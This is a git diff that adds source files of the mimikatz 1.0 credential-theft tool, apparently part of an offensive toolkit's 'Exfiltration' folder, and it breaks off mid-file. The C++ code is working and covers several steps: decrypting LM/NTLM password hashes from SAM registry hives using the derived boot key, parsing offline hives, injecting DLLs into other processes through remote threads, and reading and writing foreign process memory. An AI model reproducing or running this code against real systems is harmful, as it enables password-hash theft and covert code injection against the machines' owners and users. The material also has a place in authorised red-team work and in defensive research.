b/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp @@ -0,0 +1,150 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_hash.h" + +PSYSTEM_FUNCTION_006 mod_hash::SystemFunction006 = reinterpret_cast<PSYSTEM_FUNCTION_006>(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction006")); +PSYSTEM_FUNCTION_007 mod_hash::SystemFunction007 = reinterpret_cast<PSYSTEM_FUNCTION_007>(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction007")); +PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING mod_hash::RtlUpcaseUnicodeStringToOemString = reinterpret_cast<PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlUpcaseUnicodeStringToOemString")); +PRTL_INIT_UNICODESTRING mod_hash::RtlInitUnicodeString = reinterpret_cast<PRTL_INIT_UNICODESTRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString")); +PRTL_FREE_OEM_STRING mod_hash::RtlFreeOemString = reinterpret_cast<PRTL_FREE_OEM_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlFreeOemString")); + +bool mod_hash::lm(wstring * chaine, wstring * hash) +{ + bool status = false; + UNICODE_STRING maChaine; + OEM_STRING maDestination; + BYTE monTab[16]; + + RtlInitUnicodeString(&maChaine, chaine->c_str()); + if(NT_SUCCESS(RtlUpcaseUnicodeStringToOemString(&maDestination, &maChaine, TRUE))) + { + if(status = NT_SUCCESS(SystemFunction006(maDestination.Buffer, monTab))) + hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab))); + + RtlFreeOemString(&maDestination); + } + return status; +} + +bool mod_hash::ntlm(wstring * chaine, wstring * hash) +{ + bool status = false; + UNICODE_STRING maChaine; + BYTE monTab[16]; + + RtlInitUnicodeString(&maChaine, chaine->c_str()); + if(status = NT_SUCCESS(SystemFunction007(&maChaine, monTab))) + hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab))); + return status; +} + +void mod_hash::getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]) +{ + BYTE permut[] = {0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04}; + for(unsigned int i = 0; i < 0x10; i++) + bootkey[i] = key[permut[i]]; +} + +bool mod_hash::getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF) +{ + bool reussite = false; + unsigned char qwe[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"; + unsigned char num[] = "0123456789012345678901234567890123456789"; + + HCRYPTPROV hCryptProv = NULL; + HCRYPTHASH hHash = NULL; + if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + BYTE md5hash[0x10] = {0}; + DWORD dwHashDataLen = sizeof(md5hash); + CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash); + CryptHashData(hHash, AccountsF + 0x70, 0x10, 0); + CryptHashData(hHash, qwe, sizeof(qwe), 0); + CryptHashData(hHash, bootKey, 0x10, 0); + CryptHashData(hHash, num, sizeof(num), 0); + CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0); + CryptDestroyHash(hHash); + CryptReleaseContext(hCryptProv, 0); + reussite = mod_crypto::genericDecrypt(AccountsF + 0x80, 0x10, md5hash, 0x10, CALG_RC4, hBootKey, 0x10); + } + return reussite; +} + +bool mod_hash::decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm) +{ + bool reussite = false; + unsigned char ntpassword[] = "NTPASSWORD"; + unsigned char lmpassword[] = "LMPASSWORD"; + + BYTE obfkey[0x10]; + BYTE mes2CleDES[0x10]; + + if(encHash->lenght == 0x10 + 4) + { + HCRYPTPROV hCryptProv = NULL; + HCRYPTHASH hHash = NULL; + if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + BYTE md5hash[0x10] = {0}; + DWORD dwHashDataLen = 0x10; + CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash); + CryptHashData(hHash, hBootKey, 0x10, 0); + CryptHashData(hHash, (BYTE *) &rid, sizeof(rid), 0); + CryptHashData(hHash, isNtlm ? ntpassword : lmpassword, isNtlm ? sizeof(ntpassword) : sizeof(lmpassword), 0); + CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0); + CryptDestroyHash(hHash); + + CryptReleaseContext(hCryptProv, 0); + + if(mod_crypto::genericDecrypt(&(userV->datas) + encHash->offset + 4, 0x10, md5hash, 0x10, CALG_RC4, obfkey, 0x10)) + { + sid_to_key1(rid, mes2CleDES); + sid_to_key2(rid, mes2CleDES + 8); + + reussite = mod_crypto::genericDecrypt(obfkey + 0, sizeof(obfkey) / 2, mes2CleDES + 0, sizeof(mes2CleDES) / 2, CALG_DES) && + mod_crypto::genericDecrypt(obfkey + 8, sizeof(obfkey) / 2, mes2CleDES + 8, sizeof(mes2CleDES) / 2, CALG_DES); + } + } + } + hash->assign(reussite ? mod_text::stringOfHex(obfkey, sizeof(obfkey)) : L""); + + return reussite; +} + +void mod_hash::str_to_key(BYTE *str, BYTE *key) +{ + key[0] = str[0] >> 1; + key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2); + key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3); + key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4); + key[4] = ((str[3] & 0x0f) << 3) | (str[4] >> 5); + key[5] = ((str[4] & 0x1f) << 2) | (str[5] >> 6); + key[6] = ((str[5] & 0x3f) << 1) | (str[6] >> 7); + key[7] = str[6] & 0x7f; + for (DWORD i = 0; i < 8; i++) + key[i] = (key[i] << 1); +} + +void mod_hash::sid_to_key1(DWORD sid, BYTE deskey[8]) +{ + unsigned char s[7]; + s[0] = s[4] = (unsigned char)((sid) & 0xff); + s[1] = s[5] = (unsigned char)((sid >> 8) & 0xff); + s[2] = s[6] = (unsigned char)((sid >>16) & 0xff); + s[3] = (unsigned char)((sid >>24) & 0xff); + str_to_key(s, deskey); +} + +void mod_hash::sid_to_key2(DWORD sid, BYTE deskey[8]) +{ + unsigned char s[7]; + + s[0] = s[4] = (unsigned char)((sid >>24) & 0xff); + s[1] = s[5] = (unsigned char)((sid) & 0xff); + s[2] = s[6] = (unsigned char)((sid >> 8) & 0xff); + s[3] = (unsigned char)((sid >>16) & 0xff); + str_to_key(s, deskey); +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hash.h b/Exfiltration/mimikatz-1.0/modules/mod_hash.h new file mode 100644 index 0000000..19d7c44 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hash.h @@ -0,0 +1,81 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_text.h" +#include "mod_crypto.h" + +class mod_hash +{ +private: + static PSYSTEM_FUNCTION_006 SystemFunction006; + static PSYSTEM_FUNCTION_007 SystemFunction007; + static PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING RtlUpcaseUnicodeStringToOemString; + static PRTL_INIT_UNICODESTRING RtlInitUnicodeString; + static PRTL_FREE_OEM_STRING RtlFreeOemString; + +public: + typedef enum _KIWI_HASH_TYPE + { + LM, + NTLM + } KIWI_HASH_TYPE; + + typedef struct _SAM_ENTRY { + DWORD offset; + DWORD lenght; + DWORD unk; +} SAM_ENTRY, *PSAM_SENTRY; + + typedef struct _OLD_LARGE_INTEGER { + unsigned long LowPart; + long HighPart; + } OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER; + + typedef struct _USER_F { // http://www.beginningtoseethelight.org/ntsecurity/index.php#D3BC3F5643A17823 + DWORD unk0_header; + DWORD align; + OLD_LARGE_INTEGER LastLogon; + OLD_LARGE_INTEGER LastLogoff; + OLD_LARGE_INTEGER PasswordLastSet; + OLD_LARGE_INTEGER AccountExpires; + OLD_LARGE_INTEGER PasswordMustChange; + unsigned long UserId; + unsigned long unk1; + unsigned long UserAccountControl; + } USER_F, *PUSER_F; + + typedef struct _USER_V { + SAM_ENTRY unk0; + SAM_ENTRY Username; + SAM_ENTRY Fullname; + SAM_ENTRY Comment; + SAM_ENTRY UserComment; + SAM_ENTRY unk1; + SAM_ENTRY Homedir; + SAM_ENTRY Homedirconnect; + SAM_ENTRY Scriptpath; + SAM_ENTRY Profilepath; + SAM_ENTRY Workstations; + SAM_ENTRY HoursAllowed; + SAM_ENTRY unk2; + SAM_ENTRY LM; + SAM_ENTRY NTLM; + SAM_ENTRY unk3; + SAM_ENTRY unk4; + BYTE datas; + } USER_V, *PUSER_V; + + static bool lm(wstring * chaine, wstring * hash); + static bool ntlm(wstring * chaine, wstring * hash); + + static void getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]); + static bool getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF); + static bool decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm); + static void str_to_key(BYTE *str, BYTE *key); + static void sid_to_key1(DWORD sid, BYTE deskey[8]); + static void sid_to_key2(DWORD sid, BYTE deskey[8]); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp b/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp new file mode 100644 index 0000000..a0e79cd --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp @@ -0,0 +1,242 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_hive.h" + +mod_hive::nk_hdr* mod_hive::read_nk(nk_hdr *nk, hive *h, int offset ) +{ + memcpy(nk, h->base + offset + 4, sizeof(nk_hdr)); + nk->key_name = (h->base + offset + 4 + 76); + return nk; +} + +mod_hive::lf_hdr* mod_hive::read_lf(lf_hdr *lf, hive *h, int offset ) +{ + memcpy(lf, h->base+offset+4, sizeof(lf_hdr)); + lf->hr = (h->base+offset+4+4); + return lf; +} + +mod_hive::vk_hdr* mod_hive::read_vk(vk_hdr *vk, hive *h, int offset ) +{ + memcpy(vk, h->base+offset+4, sizeof(vk_hdr)); + vk->value_name = (h->base+offset+4+20); + return vk; +} + +int* mod_hive::read_valuevector(int *value, hive *h, int offset, int size ) +{ + memcpy(value, h->base+offset+4, size*sizeof(int)); + return value; +} + +mod_hive::hashrecord* mod_hive::read_hr(hashrecord *hr, unsigned char *pos, int index ) +{ + pos+=(8*index); + memcpy(hr, pos, sizeof(hashrecord)); + return hr; +} + + +unsigned char* mod_hive::read_data(hive *h, int offset ) +{ + return ((unsigned char*) (h->base + offset + 4)); +} + +bool mod_hive::InitHive(hive *h) +{ + h->base = NULL; + return true; +} + +bool mod_hive::RegOpenHive(const wchar_t *filename, hive *h) +{ + bool reussite = false; + FILE *hiveh; + unsigned long hsize; + + if(_wfopen_s(&hiveh, filename, L"rb" ) == 0) + { + if(fseek(hiveh, 0, SEEK_END) == 0) + { + hsize = ftell(hiveh); + h->base = new unsigned char[hsize]; + fseek(hiveh, 0, SEEK_SET); + + if(fread(h->base, hsize, 1, hiveh) == 1) + { + reussite = *((int *)h->base) == 0x66676572; + } + } + fclose(hiveh); + } + return reussite; +} + +bool mod_hive::RegCloseHive(hive *h ) +{ + if(h->base != NULL) + { + delete[] h->base; + } + return true; +} + + +long mod_hive::parself(hive *h, char *t, unsigned long off ) +{ + nk_hdr *n; + lf_hdr *l; + hashrecord *hr; + + int i; + + hr = (hashrecord*) malloc(sizeof(hashrecord)); + n = (nk_hdr*) malloc(sizeof(nk_hdr)); + l = (lf_hdr*) malloc(sizeof(lf_hdr)); + l = read_lf(l, h, off ); + + for(i = 0; i < l->key_num; i++ ) + { + hr = read_hr(hr, l->hr, i); + n = read_nk(n, h, hr->nk_offset + 0x1000 ); + if(!memcmp( t, n->key_name, n->name_len ) && (strlen(t) == n->name_len)) + { + free(n); + free(l); + return hr->nk_offset; + } + } + free(n); + free(l); + return -1; +} + +bool mod_hive::RegGetRootKey(hive *h, string *root_key) +{ + bool reussite = false; + nk_hdr * n = new nk_hdr(); + read_nk(n, h, 0x1020); + if (n->id == NK_ID && n->type == NK_ROOT) + { + root_key->assign((const char *) n->key_name, n->name_len); + reussite = true; + } + delete n; + return reussite; +} + +bool mod_hive::RegOpenKey(hive *h, string * path, nk_hdr **nr) +{ + bool reussite = false; + + nk_hdr *n = new nk_hdr(); + char *t, *tpath; + unsigned long noff = 0; + + read_nk(n, h, 0x1020); + + if(n->id == NK_ID && n->type == NK_ROOT) + { + tpath = strdup(path->c_str()); + t = strtok(tpath, "\\"); + + if(!memcmp(t, n->key_name, n->name_len)) + { + t = strtok(NULL, "\\"); + while(t != NULL) + { + noff = parself(h, t, n->lf_off + 0x1000); + if(noff != -1) + { + read_nk(n, h, noff + 0x1000); + t = strtok( NULL, "\\" ); + } + else + { + break; + } + } + + if(t == NULL && noff != 1) + { + memcpy(*nr, n, sizeof(nk_hdr)); + reussite = true; + } + } + free(tpath); + } + + delete n; + return reussite; +} + +bool mod_hive::RegQueryValue(hive *h, string *name, nk_hdr *nr, unsigned char **buff, int *len ) +{ + bool reussite = false; + + vk_hdr *v = new vk_hdr(); + int * l = new int[nr->value_cnt]; + + read_valuevector(l, h, nr->value_off + 0x1000, nr->value_cnt); + + for(unsigned int i = 0; i < nr->value_cnt; i++) + { + read_vk(v, h, l[i] + 0x1000); + if((!memcmp(name->c_str(), v->value_name, name->size()) && v->name_len == name->size()) || (name == NULL && (v->flag & 1) == 0)) + { + *len = v->data_len & 0x0000FFFF; + *buff = new unsigned char[*len]; + if (*len < 5) + { + memcpy(*buff, &(v->data_off), *len); + } + else + { + memcpy(*buff, read_data(h, v->data_off + 0x1000), *len); + } + reussite = true; + break; + } + } + delete[] l; + delete v; + return reussite; +} + +bool mod_hive::RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len) +{ + bool reussite = false; + mod_hive::nk_hdr * nodeKey = new mod_hive::nk_hdr(); + if(mod_hive::RegOpenKey(h, path, &nodeKey)) + { + reussite = mod_hive::RegQueryValue(h, name, nodeKey, buff, len); + } + delete nodeKey; + return reussite; +} + + + +bool mod_hive::RegEnumKey(hive *h, nk_hdr *nr, vector<string> * names) +{ + int index = 0; + + lf_hdr *lf = new lf_hdr(); + nk_hdr *nk = new nk_hdr(); + hashrecord *hr = new hashrecord(); + + while(index < nr->subkey_num) + { + lf = read_lf(lf, h, nr->lf_off + 0x1000 ); + hr = read_hr(hr, lf->hr, index); + nk = read_nk(nk, h, hr->nk_offset + 0x1000 ); + names->push_back(string(reinterpret_cast<char *>(nk->key_name), nk->name_len)); + index++; + } + + delete lf, nk, hr; + return !names->empty(); +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hive.h b/Exfiltration/mimikatz-1.0/modules/mod_hive.h new file mode 100644 index 0000000..527a154 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_hive.h @@ -0,0 +1,88 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +using namespace std; + +#define NK_ID 0x6B6E +#define NK_ROOT 0x2c +#define LF_ID 0x666C + +class mod_hive +{ +public: + typedef struct _hive + { + unsigned char *base; + } hive; + + typedef struct _nk_hdr + { + short int id; + short int type; + int t1, t2; + int unk1; + int parent_off; + int subkey_num; + int unk2; + int lf_off; + int unk3; + /* unsigned */ + unsigned int value_cnt; + int value_off; + int sk_off; + int classname_off; + int unk4[4]; + int unk5; + short int name_len; + short int classname_len; + unsigned char *key_name; + } nk_hdr; + + typedef struct _hashrecord + { + int nk_offset; + char keyname[4]; + } hashrecord; + + typedef struct _lf_hdr + { + short int id; + short int key_num; + unsigned char *hr; + } lf_hdr; + + typedef struct _vk_hdr + { + short int id; + short int name_len; + int data_len; + int data_off; + int data_type; + short int flag; + short int unk1; + unsigned char *value_name; + } vk_hdr; + + static bool InitHive(hive *h); + static bool RegOpenHive(const wchar_t * filename, hive *h); + static bool RegCloseHive(hive *h); + static bool RegGetRootKey(hive *h, string *root_key); + static bool RegOpenKey(hive *h, string *path, nk_hdr **nr); + static bool RegQueryValue(hive *h, /*char *name*/ string *name, nk_hdr *nr, unsigned char **buff, int *len); + static bool RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len); + static bool RegEnumKey(hive *h, nk_hdr *nr, vector<string> * names); + + static long parself(hive *h, char *t, unsigned long off); + static unsigned char* read_data(hive *h, int offset); +private: + static nk_hdr* read_nk(nk_hdr *nk, hive *h, int offset); + static lf_hdr* read_lf(lf_hdr *lf, hive *h, int offset); + static vk_hdr* read_vk(vk_hdr *vk, hive *h, int offset); + static hashrecord* read_hr(hashrecord *hr, unsigned char *pos, int index); + static int* read_valuevector(int *value, hive *h, int offset, int size); + +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp b/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp new file mode 100644 index 0000000..2547a2d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp @@ -0,0 +1,72 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_inject.h" + +bool mod_inject::injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath) +{ + bool reussite = false; + + wstring maLibComplete = L""; + if(mod_system::getAbsolutePathOf(*fullLibraryPath, &maLibComplete)) + { + bool fileExist = false; + if(mod_system::isFileExist(maLibComplete, &fileExist) && fileExist) + { + SIZE_T szFullLibraryPath = static_cast<SIZE_T>((maLibComplete.size() + 1) * sizeof(wchar_t)); + + if(LPVOID remoteVm = VirtualAllocEx(handleProcess, NULL, szFullLibraryPath, MEM_COMMIT, PAGE_EXECUTE_READWRITE)) + { + if(mod_memory::writeMemory(remoteVm, maLibComplete.c_str(), szFullLibraryPath, handleProcess)) + { + PTHREAD_START_ROUTINE pThreadStart = reinterpret_cast<PTHREAD_START_ROUTINE>(GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW")); + HANDLE hRemoteThread = INVALID_HANDLE_VALUE; + + if(mod_system::GLOB_Version.dwMajorVersion > 5) + { + PRTL_CREATE_USER_THREAD RtlCreateUserThread = reinterpret_cast<PRTL_CREATE_USER_THREAD>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlCreateUserThread")); + SetLastError(RtlCreateUserThread(handleProcess, NULL, 0, 0, 0, 0, pThreadStart, remoteVm, &hRemoteThread, NULL)); + } + else + { + hRemoteThread = CreateRemoteThread(handleProcess, NULL, 0, pThreadStart, remoteVm, 0, NULL); + } + + if(hRemoteThread && hRemoteThread != INVALID_HANDLE_VALUE) + { + WaitForSingleObject(hRemoteThread, INFINITE); + reussite = true; + CloseHandle(hRemoteThread); + } + } + VirtualFreeEx(handleProcess, remoteVm, 0, MEM_RELEASE); + } + } + } + return reussite; +} + +bool mod_inject::injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath) +{ + bool reussite = false; + if(HANDLE processHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid)) + { + reussite = injectLibraryInHandle(processHandle, fullLibraryPath); + CloseHandle(processHandle); + } + return reussite; +} + +bool mod_inject::injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath) +{ + bool reussite = false; + + mod_process::KIWI_PROCESSENTRY32 monProcess; + if(mod_process::getUniqueForName(&monProcess, &processName)) + { + reussite = injectLibraryInPid(monProcess.th32ProcessID, fullLibraryPath); + } + return reussite; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_inject.h b/Exfiltration/mimikatz-1.0/modules/mod_inject.h new file mode 100644 index 0000000..a0f77d8 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_inject.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_memory.h" +#include "mod_system.h" +#include "mod_process.h" + +class mod_inject +{ +public: + static bool injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath); + static bool injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath); + static bool injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp b/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp new file mode 100644 index 0000000..1e2ba8e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp @@ -0,0 +1,140 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_memory.h" + +bool mod_memory::readMemory(const void * adresseBase, void * adresseDestination, size_t longueur, HANDLE handleProcess) +{ + if(handleProcess == INVALID_HANDLE_VALUE) + { + return (memcpy_s(adresseDestination, longueur, adresseBase, longueur) == 0); + } + else + { + SIZE_T dwBytesRead = 0; + return ((ReadProcessMemory(handleProcess, adresseBase, adresseDestination, longueur, &dwBytesRead) != 0) && (dwBytesRead == longueur)); + } +} + +bool mod_memory::writeMemory(void * adresseBase, const void * adresseSource, size_t longueur, HANDLE handleProcess) +{ + bool reussite = false; + DWORD OldProtect, OldProtect2; + + if(handleProcess == INVALID_HANDLE_VALUE) + { + if(VirtualProtect(adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0) + { + reussite = (memcpy_s(adresseBase, longueur, adresseSource, longueur) == 0); + VirtualProtect(adresseBase, longueur, OldProtect, &OldProtect2); + } + } + else + { + if(VirtualProtectEx(handleProcess, adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0) + { + SIZE_T dwBytesWrite = 0; + reussite = ((WriteProcessMemory(handleProcess, adresseBase, adresseSource, longueur, &dwBytesWrite) != 0) && (dwBytesWrite == longueur)); + VirtualProtectEx(handleProcess, adresseBase, longueur, OldProtect, &OldProtect2); + } + } + + return reussite; +} + + +bool mod_memory::searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur, bool enAvant, HANDLE handleProcess) +{ + BYTE * monTab = new BYTE[longueur]; + *addressePattern = adresseBase; + bool succesLecture = true; + bool succesPattern = false; + + while((!adresseMaxMin || (enAvant ? (*addressePattern + longueur) <= adresseMaxMin : (*addressePattern - longueur) >= adresseMaxMin)) && succesLecture && !succesPattern) + { + if(succesLecture = readMemory(*addressePattern, monTab, longueur, handleProcess)) + { + if(!(succesPattern = (memcmp(monTab, pattern, longueur) == 0))) + { + *addressePattern += (enAvant ? 1 : -1); + } + } + } + delete[] monTab; + + if(!succesPattern) + *addressePattern = NULL; + + return succesPattern; +} + +bool mod_memory::searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur, bool enAvant, HANDLE handleProcess) +{ + PBYTE addressePattern = NULL; + bool resultat = mod_memory::searchMemory(adresseBase, (offsetMaxMin != 0 ? (adresseBase + offsetMaxMin) : NULL), pattern, &addressePattern, longueur, enAvant, handleProcess); + *offsetPattern = addressePattern - adresseBase; + return resultat; +} + +bool mod_memory::genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc, bool enAvant, bool noPtr) +{ + bool resultat = false; + if(thePtr && pattern && taillePattern) + { + if(HMODULE monModule = GetModuleHandle(moduleName)) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + PBYTE addrMonModule = reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + + if(PBYTE addrDebut = startFunc ? reinterpret_cast<PBYTE>(GetProcAddress(monModule, startFunc)) : addrMonModule) + { + if(resultat = mod_memory::searchMemory(addrDebut, enAvant ? (addrMonModule + mesInfos.SizeOfImage) : reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll), pattern, thePtr, taillePattern, enAvant)) + { + *thePtr += offSetToPtr; + if(!noPtr) + { +#ifdef _M_X64 + *thePtr += sizeof(long) + *reinterpret_cast<long *>(*thePtr); +#elif defined _M_IX86 + *thePtr = *reinterpret_cast<PBYTE *>(*thePtr); +#endif + } + } + else *thePtr = NULL; + } + } + } + } + return resultat; +} + +/*bool mod_memory::WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset) // et merde je la documente pas celle lŕ ! +{ + PBYTE autreAddr = adresseBase; + PBYTE monMask = new BYTE[longueurMask]; + PBYTE monTab = new BYTE[longueurMask]; + + RtlCopyMemory(monMask, maskPattern, longueurMask); + bool succesLecture = false, succesPattern = false; + do + { + PBYTE funkyDiff = reinterpret_cast<PBYTE>(addrPattern - (autreAddr + offsetAddrInMask + 4)); + RtlCopyMemory(monMask+offsetAddrInMask, reinterpret_cast<PBYTE>(&funkyDiff), 4); + succesLecture = readMemory(autreAddr, monTab, longueurMask); + succesPattern = memcmp(monTab, monMask, longueurMask) == 0; + autreAddr+=offset; + } while(!succesPattern && succesLecture); + + delete[] monMask; + + if(succesPattern && succesLecture) + { + *addressePattern = autreAddr-offset; + return true; + } + else return false; +}*/ diff --git a/Exfiltration/mimikatz-1.0/modules/mod_memory.h b/Exfiltration/mimikatz-1.0/modules/mod_memory.h new file mode 100644 index 0000000..31eb27f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_memory.h @@ -0,0 +1,22 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <psapi.h> + +class mod_memory +{ +public: + static bool readMemory(const void * adresseBase, void * adresseDestination, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE); + static bool writeMemory(void * adresseBase, const void * adresseSource, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE); + + static bool searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE); + static bool searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE); + + static bool genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc = NULL, bool enAvant = true, bool noPtr = false); + + /*static bool WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset = 1); // et merde je la documente pas celle lŕ !*/ +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp b/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp new file mode 100644 index 0000000..2825451 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp @@ -0,0 +1,163 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_minidump.h" + +mod_minidump::mod_minidump() : monFichier(NULL), monFileMapping(NULL), mesDonnees(NULL) +{ +} + +mod_minidump::~mod_minidump(void) +{ + if(mesDonnees) + UnmapViewOfFile(mesDonnees); + + if(monFileMapping) + CloseHandle(monFileMapping); + + if(monFichier) + CloseHandle(monFichier); +} + +LPVOID mod_minidump::RVAtoPTR(RVA monRVA) +{ + return reinterpret_cast<PBYTE>(mesDonnees) + monRVA; +} + +bool mod_minidump::open(wchar_t * filename) +{ + bool resultat = false; + + if(monFichier = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL)) + if(monFileMapping = CreateFileMapping(monFichier, NULL, PAGE_READONLY, 0, 0, NULL)) + if(mesDonnees = MapViewOfFile(monFileMapping, FILE_MAP_READ, 0, 0, 0)) + resultat = (reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Signature == MINIDUMP_SIGNATURE) && (static_cast<WORD>(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Version) == MINIDUMP_VERSION); + + return resultat; +} + +MINIDUMP_TYPE mod_minidump::getFlags() +{ + return static_cast<MINIDUMP_TYPE>(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Flags); +} + +const 